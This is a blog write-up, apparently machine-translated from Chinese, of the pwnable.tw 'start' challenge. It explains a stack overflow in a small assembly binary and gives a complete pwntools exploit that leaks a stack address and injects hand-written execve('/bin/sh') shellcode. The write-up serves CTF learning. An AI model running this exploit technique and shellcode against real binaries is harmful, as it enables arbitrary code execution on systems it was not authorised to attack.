当前位置:网站首页>pwnable start
pwnable start
2022-06-10 18:04:00 【amazh】
If there's something you don't understand , You can comment in the comment area , You will answer when you see it .
After getting the attachment checksec once :

32 Bit program No protection is turned on , Put in ida Take a look in the middle , There are only two functions _start and _exit, The source code of this topic is not C Code , Itself is assembly code ,:

Let's look at assembly code :
The general process is Press the stack first esp and exit Function address , Then press the string , We can run this program first :
![]()
The middle five times push It should be the pressed strings .
And then write system call Print these strings , then read system call Let the user write data
write 了 0x14 Byte size characters read 0x3c Size characters
During a system call ,esp The value of is constant , We go through gdb Dynamic debugging can also see this .
At the end of the function add esp 14h ; ret; Before executing this sentence , The layout of stack space is like this :
.
add esp 0x14 after ,esp Yes exit function , And then ret perform exit, This is the execution flow of the whole function .
The loopholes in this topic are also obvious , It's out there read The procedure executed by the system call ,read 了 0x3c Bytes of data , So we can cover exit The address of the function , Besides NX The protection is not turned on , The stack is executable , So the general use process of this topic is take exit() Function address covers bit ret, Leak the address of the stack , Then write... On the stack shellcode
Overwrite the return address again shellcode That's all. , It should be noted that ,pwntools Generated shellcode yes 44 Bytes of , And what we can write shellcode The size is 0x3C - 0x14 = 40bytes So it is recommended to compile by hand , Or search on relevant websites shellcode.
exp as follows :
from pwn import *
p = process("./start")
e = ELF("./start")
context.log_level = 'debug'
#p = remote("chall.pwnable.tw",1000)
context.arch = "i386"
#gdb.debug(e.path,'b _start')
shellcode = asm( "xor ecx,ecx;xor edx,edx ; push edx;push 0x68732f6e;push 0x69622f2f; mov ebx,esp;mov eax,0xb;int 0x80 ")
write_addr = 0x8048087
payload1 = "a" * 0x14 + p32(write_addr)
p.sendafter(":",payload1)
stack_addr = u32(p.recv(4))
log.success("stack_addr:" + hex(stack_addr))
payload2 = 'a'*0x14 + p32(stack_addr + 0x14) + shellcode
p.send(payload2)
p.interactive()
First send payload after , The layout on the stack is as follows :

The second time payload After sending : The stack layout is as follows :

That's about it !
边栏推荐
- Numpy - record
- sense of security
- 高数_第6章无穷级数__绝对收敛_条件收敛
- CUDA realizes efficient search - failed audit?
- Unity stepping on the pit record: if you inherit monobehavior, the constructor of the class may be called multiple times by unity. Do not initialize the constructor
- 解决 vs2022在调试程序时缓慢加载一堆符号的问题
- Abbexa 8-OHdG CLIA 试剂盒解决方案
- 关于cmake和gcc的安装的记录
- Nacos configuration management
- OpenJudge NOI 1.13 15:求序列中的众数
猜你喜欢

IIS安装 部署网站

盛最多水得容器

正斜杠“/”、反斜杠“\、”转义字符“\”、文件路径分割符傻傻记不清楚

mapbox-gl开发教程(十一):加载线图层

Leetcode 929. 独特的电子邮件地址

com. netflix. client. ClientException: Load balancer does not have available server for client: userser

Numpy numpy中np.set_printoptions()的用法——控制输出方式

matplotlib plt.text()的具体用法——画图时给图中的点加标签

为什么 0.1+0.2=0.30000000000000004

Abbkine柱式法ExKine Pro动物细胞/组织总蛋白提取试剂盒
随机推荐
OpenJudge NOI 1.13 15:求序列中的众数
最新好文 | 基于因果推断的可解释对抗防御
if else的使用太简单?(看懂这篇你的逻辑会进一步提升)
.NET 开源的免费午餐结束了?
小程序积分商城如何实现营销目的
AOE网关键路径
【FAQ】运动健康服务REST API接口使用过程中常见问题和解决方法总结
com. netflix. client. ClientException: Load balancer does not have available server for client: userser
Analysis of transfer Refund Scheme in e-commerce industry
IIS installation and deployment web site
线性移动棋
yml文件配置参数定义字典和列表
LeetCode 321. Maximum number of splices***
玩转Pytorch的Function类
Wireshark学习笔记(一)常用功能案例和技巧
Leetcode 875. 爱吃香蕉的珂珂
One of the Taobao short video pit avoidance Guide Series -- thoroughly understand Taobao short video
模板_计算组合数
LeetCode 255. 验证前序遍历序列二叉搜索树*
CodeCraft-22 and Codeforces Round #795 (Div. 2)